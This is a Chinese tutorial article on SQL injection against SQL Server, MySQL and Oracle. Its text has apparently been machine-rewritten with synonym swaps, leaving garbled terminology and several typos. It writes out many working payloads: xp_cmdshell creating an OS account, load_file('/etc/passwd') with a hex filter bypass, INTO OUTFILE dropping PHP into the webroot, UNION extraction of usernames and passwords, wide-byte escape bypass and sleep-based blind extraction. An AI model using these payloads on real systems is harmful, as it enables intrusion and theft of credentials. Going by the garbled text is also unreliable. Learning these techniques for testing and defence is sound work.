sql注入的三种方式有哪些?
sql注入的三种方式,离别是:1、数字型注入;当输入的参数为整型时,则有大概存在数字型注入破绽。2、字符型注入;当输入参数为字符串时,则大概存在字符型注入破绽。3、其他类型(例如:搜索型注入、Cookie注入、POST注入等)。
SQL 注入道理
SQL注入攻击指的是通过构建非凡的输入作为参数传入Web利用程序,而这些输入大都是SQL语法里的一些组合,通过施行SQL语句进而施行攻击者所要的操纵,其主要缘由是程序没有详细地过滤会员输入的数据,致使不法数据侵入系统。
SQL 注入分类
1. 数字型注入
当输入的参数为整型时,则有大概存在数字型注入破绽。
假设存在一条 URL 为:HTTP://www.aaa.com/test.php?id=1
可以对后台的 SQL 语句推测为:SELECT * FROM table WHERE id=1
推断数字型破绽的 SQL 注入点:
① 先在输入框中输入一个单引号 '
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE id=1'
,
不相符语法,所以该语句必定会出错,致使足本程序没法从数据库猎取数据,从而使本来的页面显现非常。
② 在输入框中输入 and 1 = 1
SQL语句变为:
SELECT * FROM table WHERE id=1 and 1 = 1
语句准确,施行正常,返回的数据与原始恳求无任何差别。
③ 在数据库中输入 and 1 = 2
SQL 语句变为:
SELECT * FROM table WHERE id=1 and 1 = 2
虽然语法准确,语句施行正常,但是逻辑错误,由于 1 = 2 为永假,所以返回数据与原始恳求有差别。
假如以上三个步骤全部知足,则程序就大概存在数字型 SQL 注入破绽。
2. 字符型注入
当输入参数为字符串时,则大概存在字符型注入破绽。数字型与字符型注入最大的不同在于:数字型不需要单引号闭合,而字符型一样需要使用单引号来闭合。
字符型注入最关键的是怎样闭合 SQL 语句乃至注释余外的代码。
假设后台的 SQL 语句如下:SELECT * FROM table WHERE username = 'admin'
推断字符型破绽的 SQL 注入点:
① 还是先输入单引号 admin'
来测试
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE username = 'admin''
。
页面非常。
② 输入:admin' and 1 = 1 --
留意:在 admin 后有一个单引号 '
,用于字符串闭合,最后还有一个注释符 --
(两条杠后面还有一个空格!!!)。
SQL 语句变为:
SELECT * FROM table WHERE username = 'admin' and 1 = 1 --
页面显示准确。
③ 输入:admin' and 1 = 2 --
SQL 语句变为:
SELECT * FROM table WHERE username = 'admin' and 1 = 2 --
页面错误。
知足上面三个步骤则有大概存在字符型 SQL 注入。
3. 其他类型
其实我觉得 SQL 注入只要两品种型:数字型与字符型。许多人大概会说还有如:Cookie 注入、POST 注入、延时注入等。
确实如此,但这些类型的注入归根结柢也是数字型和字符型注入的不一样展示情势或者注入的位置不一样罢了。
以下是一些常见的注入叫法:
- POST注入:注入字段在 POST 数据中
- Cookie注入:注入字段在 Cookie 数据中
- 延时注入:使用数据库延时特性注入
- 搜索注入:注入处为搜索的地方
- base64注入:注入字符串需要经过 base64 加密
常见数据库的注入
攻击者关于数据库注入,无非是利用数据库猎取更多的数据或者更大的权限,利用的方式可以归结为以下几类:
- 查询数据
- 读写文件
- 施行命令
攻击者关于程序注入,不管任何数据库,无非都是在做这三件事,只不外不一样的数据库注入的 SQL 语句不一样罢了。
这里介绍三种数据库的注入:Oracle 11g、MySQL 5.1 和 SQL Server 2008。
SQL Server
1. 利用错误新闻提取信息
SQL Server 数据库是一个非常优异的数据库,它可以准确地定位错误信息,这对攻击者来说是一件十分美妙的事情,由于攻击者可以通过错误新闻提取本人想要的数据。
① 枚举当前表或者列
假设选中存在这样一张表:
查询 root 会员的具体信息,SQL 语句推测如下:SELECT * FROM user WHERE username = 'root' AND password = 'root'
攻击者可以利用 SQL Server 特性来猎取敏锐信息,在输入框中输入如下语句:' having 1 = 1 --
终究施行的 SQL 语句就会变为:SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --
那么 SQL 的施行器大概会抛出一个错误:
攻击者就可以发明当前的表名为 user、并且存在字段 id。
攻击者可以利用此特性连续得到其他列名,输入如下语句:' GROUP BY users.id HAVING 1 = 1 --
则 SQL 语句变为:SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --
抛出错误:
由此可以看到包括列名 username。可以一次递归查询,知道没有错误新闻返回位置,这样就可以利用 HAVING 字句得到当表的所有列名。
注:Select指定的每一列都应当显现在Group By子句中,除非对这一列使用了聚合函数
②. 利用数据类型错误提取数据
假如试图将一个字符串与非字符串比力,或者将一个字符串转换为另一个不兼容的类型,那么SQL 编纂器将会抛出非常。
如以下 SQL 语句:SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)
施行器错误提醒:
这就可以猎取到会员的会员名为 root。由于在子查询 SELECT TOP 1 username FROM users
中,将查询到的会员名的第一个返回,返回类型是 varchar 类型,然后要跟 int 类型的 1 比力,两品种型不一样的数据没法比力而报错,从而致使了数据泄露。
利用此办法可以递归推输出所有的账户信息:SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))
。
通过结构此语句就可以获得下一个 会员名;若把子查询中的 username 换成其他列名,则可以猎取其他列的信息,这里就不再赘述。
2. 猎取元数据
SQL Server 供给了大量视图,便于取得元数据。可以先推测出表的列数,然后用 UNION 来结构 SQL 语句猎取其中的数据。
如:SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
若当前表的列数为 2,则可以 UNION 语句猎取当前数据库表。详细如何推测当前表的列数,后面停止描写。
一些常用的系统数据库视图:
数据库视图 | 说明 |
---|---|
SYS.DATABASES | SQL Server 中的所有数据库 |
SYS.SQL_LOGINS | SQL Server 中的所有登录名 |
INFORMATION_SCHEMA.TABLES | 当前会员数据库中的所有数据表 |
INFORMATION_SCHEMA.COLUMNS | 当前会员数据库中的所有列 |
SYS.ALL_COLUMNS | 会员定义对象和系统对象的所有列的结合 |
SYS.DATABASE_PRINCIPALS | 数据库中每个权限或列非常权限 |
SYS.DATABASE_FILES | 储备在数据库中的数据库文件 |
SYSOBJECTS | 数据库中创立的每个对象 (包罗束缚、日志乃至储备历程) |
3. ORDER BY 子句推测列数
可以用 ORDER BY 语句来推断当前表的列数。
如:
① SELECT * FROM users WHERE id = 1
——SQL施行正常
②SELECT * FROM users WHERE id = 1 ORDER BY 1
(依照第一列排序)——SQL施行正常
③ SELECT * FROM users WHERE id = 1 ORDER BY 2
(依照第二列排序)——SQL施行正常
④ SELECT * FROM users WHERE id = 1 ORDER BY 3
(依照第三列排序)——SQL 施行正常
⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4
(依照第四列排序)——SQL 抛出非常:
由此可以得出,当前表的列数只要 3 列,由于当依照第 4 列排序时报错了。在 Oracle 和 MySql 数据库中一样适用此办法。
在得知列数后,攻击者平常会配合 UNION 关键字停止下一步的攻击。
4. UNION 查询
UNION 关键字将两个或多个查询结果组合为单个结果集,大部分数据库都支撑 UNION 查询。但适用 UNION 合并两个结果有如下根本规则:
- 所有查询中的列数必需雷同
- 数据类型必需兼容
① 用 UNION 查询推测列数
不仅可以用 ORDER BY 办法来推测列数,UNION 办法一样可以。
在此前假设的 user 表中有 5 列,若我们用 UNION 结合查询:SELECT * FROM users WHERE id = 1 UNION SELECT 1
数据库会发出非常:
可以通过递归查询,直到无错误发生,就可以得知 User 表的查询字段数:UNION SELECT 1,2
、UNION SELECT 1,2,3
也可以将 SELECT 后面的数字改为 null、这样不容易显现不兼容的非常。
② 结合查询敏锐信息
在得知列数为 4后,可以使用一下语句连续注入:UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U'
(注:xtype=‘U’ 表示对象类型是表)
若第一列的数据类型不匹配,数据库会报错,那么可以递归查询,直到语句兼容。比及语句正常施行,就可以将 x 换为 SQL 语句,查询敏锐信息。
5. 利用SQL Server 供给的系统函数
SQL Server 供给了非常多的系统函数,利用该系统函数可以拜访 SQL Server 系统表中的信息,而无需使用 SQL 查询语句。
如:
- SELECT suser_name():返回会员的登录标识名
- SELECT user_name():基于指定的标识号返回数据库会员名
- SELECT db_name():返回数据库名
- SELECT is_member(‘db_owner’):可否为数据库角色
- SELECT convert(int, ‘5’):数据类型转换
6. 储备历程
储备历程 (Stored Procedure) 是在大型数据库系统中为了完成特定功效的一组 SQL “函数”,如:施行系统命令、查看注册表、读取磁盘名目等。
攻击者最长使用的储备历程是 “xp_cmdshell”,这个储备历程同意会员施行操纵系统命令。
例如:http://www.aaa.org/test.aspx?id=1
中存在注入点,那么攻击者就可以实施命令攻击:http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'
终究施行的 SQL 语句如下:SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'
分号后面的那一段语句就可认为攻击者在对方效劳器上创建一个会员名为 test、密码为 test 的会员。
注:并不是任何数据库会员都可以使用此类储备历程,会员必需持有 CONTROL SERVER 权限。
常见的危险储备历程如下表:
储备历程 | 说明 |
---|---|
sp_addlogin | 创立新的 SQL Server 登录,该登录同意会员使用 SQL Server 身份连接到 SQL Server 实例 |
sp_dropuser | 从当前数据库中删除数据库会员 |
xp_enumgroups | 供给 Microsoft Windows 当地组列表或在指定的 Windows 域中定义全局组列表 |
xp_regread | 读取注册表 |
xp_regwrite | 写入注册表 |
xp_redeletevalue | 删除注册表 |
xp_dirtree | 读取名目 |
sp_password | 更换密码 |
xp_servicecontrol | 休止或激活某效劳 |
别的,任何数据库在使用一些非凡的函数或储备历程时,都需要特定的权限。常见的SQL Server 数据库的角色与权限如下:
角色 | 权限 |
---|---|
bulkadmin | 可以运转 BULK INSERT 语句 |
dbcreator | 可以创立、更换、删除和复原任何数据库 |
diskadmin | 可以治理磁盘文件 |
processadmin | 可以栽种在数据库引擎中运转的实例 |
securityadmin | 可以治理登录名及其属性;可以利用 GRANT、DENY 和 REVOKE 效劳器级别的权限;还可以利用 GRANT、DENY 和 REVOKE 数据库级别的权限;此外也可以重置 SQL Server 登录名的密码 |
serveradmin | 可以更换效劳器范畴的配置选项和关闭效劳器 |
setupadmin | 可以增加和删除链接效劳器,并可以施行某些系统储备历程 |
sysadmin | 可以在数据库引擎中施行任何活动 |
7. 动态施行
SQL Server 支撑动态施行语句,会员可以提交一个字符串来施行 SQL 语句。
如:exec('SELECT username, password FROM users')
也可以通过定义十六进制的 SQL 语句,使用 exec 函数施行。大部分 Web 利用程序和防火墙都过滤了单引号,利用 exec 施行十六进制 SQL 语句可以冲破许多防火墙及防注入程序,如:
declare @query varchar(888) select @query=0x73656C6563742031 exec(@query)
或者:declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)
MySQL
前面具体讲述了 SQL Server 的注入历程,在注入其他数据库时,根本思绪是雷同的,只不外两者使用的函数或者是语句稍有差别。
1. MySQL 中的注释
MySQL 支撑以下 3 中注释风格:
- “#”: 注释从 “#” 到行尾
- "-- " :注释从 “-- ”序列到行位,需要留意的是使用此注释时,后面需要跟上空格
- /**/:注释从 /* 到 */ 之间的字符
2. 猎取元数据
MySQL 5.0 及其以上版本供给了 INFORMATION_SCHEMA,这是一个信息数据库,它供给了拜访数据库元数据的方式。下面介绍怎样从中读取数据库名称、表名称乃至列名称。
① 查询会员数据库名称SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
INFORMATION_SCHEMA.SCHEMATA 表供给了关于数据库的信息。
②查询当前数据表SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
INFORMATION_SCHEMA.TABLES 表给出了数据库中表的信息。
③查询指定表的所有字段SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
INFORMATION_SCHEMA.COLUMNS 表中给出了表中的列信息。
3. UNION 查询
与 SQL Server 大致雷同,此处不赘述。
4. MySQL 函数利用
不管是 MySQL、Oracle 还是其他数据库都内置了很多系统函数,这些数据库函数都非常相似,接下来介绍一些对渗出测试人员很有帮忙的 MySQL 函数。
① load_file() 函数读文件操纵
MySQL 供给了 load_file() 函数,可以帮忙会员快速读取文件,但文件的位置必需在效劳器上,文件必需为绝对途径,且会员必需有 FILE 权限,文件容量也必需小于 max_allowed_packet 字节 (默许为 16MB,最大为 1GB)。
SQL 语句如下:UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #
平常一些防注入语句不同意单引号显现,那么可以使用一下语句绕过:UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #
“0x2F6561342F706173737764” 为 “/etc/passwd” 的十六进制转换结果。
在阅读器返回数据时,有大概存在乱码问题,那么可以使用 hex() 函数将字符串转换为十六进制数据。
② into outfile 写文件操纵
MySQL 供给了向磁盘写文件的操纵,与 load_file() 一样,必需有 FILE 权限,并且文件必需为全途径名称。
写入文件:SELECT '<?php phpinfo();?>' into oufile 'C:\wwwroot\1.php'
③ 连接字符串
MySQL 假如需要一次查询多个数据,可以使用 concat() 或 concat_ws() 函数来完成。
SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version())
;
也可以将逗号改用十六进制表示:0x2c
5. MySQL 显错式注入
MySQL 也存在显错式注入,可以像 SQL Server 数据库那样,使用错误提取新闻。
① 通过 updatexml 函数施行 SQL 语句
第一理解下updatexml()函数:
updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格局,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格局的字符串) ,
第三个参数:new_value,String格局,更换查寻到的相符前提的数据
SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)
其中的concat()函数是将其连成一个字符串,因此不会相符XPATH_string的格局,从而显现格局错误,报错,会显示出没法识别的内容:
② 通过 extractvalue函数SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
一样报错显示出当前会员:
6. 宽字节注入
宽字节注入是由编码不统一所造成的,这种注入一样显现在 PHP + MySQL中。
在 PHP 配置文件 php.ini 中存在 magic_quotes_gpc 选项,被称为魔术引号,当此选项被翻开时,使用 GET、POST、Cookie 所接受的 单引号(’)、双引号(")、反歪线() 和 NULL 字符都会主动加上一个反歪线转义。
如下使用 PHP 代码使用 $_GET 接收参数:
如拜访URL:http:/www.xxser.com/Get.php?id='
,显示如下:
单引号'
被转义后就变成了\'
,在 MySQL 中,\'
是一个合法的字符,也就没方法闭合单引号,所以,注入类型是字符型时没法构成注入。
但是若是输入:%d5'
,拜访URL:http:/www.xxser.com/Get.php?id=%d5'
,显示如下:
可以发明,这次单引号没有被转义,这样就可以冲破 PHP 转义,连续闭合 SQL 语句停止 SQL 注入。
7. MySQL 长字符截断
MySQL 超长字符截断别名 “SQL-Column-Truncation”。
在 MySQL 中的一个设定里有一个 sql_mode 选项,当 sql_mode 设定为 default 时,即没有开启 STRICT——ALL_TABLES 选项时,MySQL 对插入超长的值只会提醒 waring,而不是 error。
假设有一张表如下:
username 字段的长度为 7。
离别插入一下 SQL 语句:
① 插入正常 SQL 语句:INSERT users(id, username, password) VALUES(1, 'admin', 'admin');
成功插入。
② 插入错误的 SQL 语句,使 username 字段的长度超越7:INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');
虽然有警告,但是成功插入了。
③ 再尝试插入一条错误的 SQL 语句,长度统一超越原有的规定长度:INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;
查询数据库:
可以看到,三条数据都被插入到数据库中,但是值发生了转变。在默许状况下,假如数据超出默许长度,MySQL 会将其阶段。
但是这样如何攻击呢?通过查询会员名为 admin 的会员:
可以发明,只查询会员名为 admin 的会员,但是别的两个长度不一致的 admin 会员也被查询出,这样就会造成一些平安问题。
比方有一处治理员登录时这样推断的:$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";
那么攻击者只需要注册一个长度超越规定长度的会员名“admin ”即可轻易进入后台治理页面。
8. 延时注入
延时注入属于盲注技术的一种,是一种基于时间差别的注入技术。下面以 MySQL 为例介绍延时注入。
在 MySQL 中有一个函数:sleep(duration),这个函数意思是在 duration 参数给定数秒后运转语句,如下 SQL 语句:SELECT * FROM users WHERE id = 1 AND sleep(3)
就是将在 3 秒后施行该 SQL 语句。
可以使用这个函数来推断 URL 可否存在 SQL 注入破绽,步骤如下:
通过页面返回的世界可以判定,DBMS 施行了 and sleep(3)
语句,这样一来就可以推断出 URL 存在 SQL 注入破绽。
然后通过 sleep() 函数还可以读出数据,但需要其他函数的配合,步骤如下:
①查询当前会员,并取得字符串长度
施行SQL 语句:AND if(length(user()) = 0, sleep(3), 1)
假如显现 3 秒延时,就可以推断出 user 字符串长度,注入时平常会采纳折半算法减少推断。
② 截取字符串第一个字符,并转换为 ASCII 码AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
……
不竭改换 ASCII 码直到显现延时 3 秒就可以推测出第一个字符。
③ 递归截取字符串每一个字符,离别于 ASCII 码比力AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
注:L 的位置代表字符串的第几个字符,N 的位置代表 ASCII 码。
不仅在 MySQL 中存在延时函数,在 SQL Server、Oracle 等数据库中也都存在相似功效的函数,如 SQL Server 的 waitfor delay、Oracle 中的 DBMS_LOCK.SLEEP 等函数。
Oracle
1. 猎取元数据
Oracle 也支撑查询元数据,下面是 Oracle 注入常用的元数据视图:
① user_tablespaces 视图,查看表空间SELECT tablespace_name FROM user_tablespaces
② user_tables 视图,查看当前会员的所有表SELECT table_name FROM user_tables WHERE rownum = 1
③ user_tab_columns 视图,查看当前会员的所有列,如查询 user 表的所有列:SELECT column_name FROM user_tab_columns WHERE table_name = 'users'
④ all_users 视图,查看 ORacle 数据库的所有会员SELECT username FROM all_users
⑤ user_objects 视图,查看当前会员的所有对象 (表名称、束缚、索引)SELECT object_name FROM user_objects
2. UNION 查询
Oracle 与 MySQL 一样不支撑多语句施行,不像 SQL Server 那样可以用分号隔开从而注入多条 SQL 语句。
①猎取列的总数
猎取列总数办法与前面两种数据库相似,仍然可以使用 ORDER BY 子句来完成。
另一种办法是利用 UNION 关键字来肯定,但是 Oracle 规定,每次查询时后面必需跟表的名称,不然查询将不成立。
在 Oracle 中可以使用:UNION SELECT null, null, null …… FROM dual
这里的 dual 是 Oracle 中的虚拟表,在不知道数据库中存在哪些表的状况下,可以使用此表作为查询表。
然后猎取非数字类型列,即可以显示出信息的列:UNION SELECT 'null', null, null, …… FROM dual
UNION SELECT null, 'null', null, …… FROM dual
把每一位的 null
顺次用单引号 ’ 引发来,假如报错,则不是字符串类型的列;假如返回正常,则是字符串类型的列,就可以在响应的位置插入查询语句猎取信息。
② 猎取敏锐信息
常见的敏锐信息如下:
- 当前会员权限:
SELECT * FROM session_roles
- 当前数据库版本:
SELECT banner FROM sys.v_$version WHERE rownum = 1
- 效劳器出口 IP:用
utl_http.request
可以实现 - 效劳器监听 IP:
SELECT utl_inaddr.get_host_address FROM dual
- 效劳器操纵系统:
SELECT member FROM v$logfile WHERE rownum = 1
- 效劳器 SID:
SELECT instance_name FROM v$instance
- 当前连接会员:
SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual
③ 猎取数据库表及其内容
在得知表的列数之后,可以通过查询元数据的方式查询表名称、列名称,然后查询数据,如:http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users --
留意:在查询数据时一样要留意数据类型,不然没法查询,只能一一测试,改动参数的查询位置。
以上就是sql注入的三种方式是啥?的具体内容,更多请关注百分百源码网其它相关文章!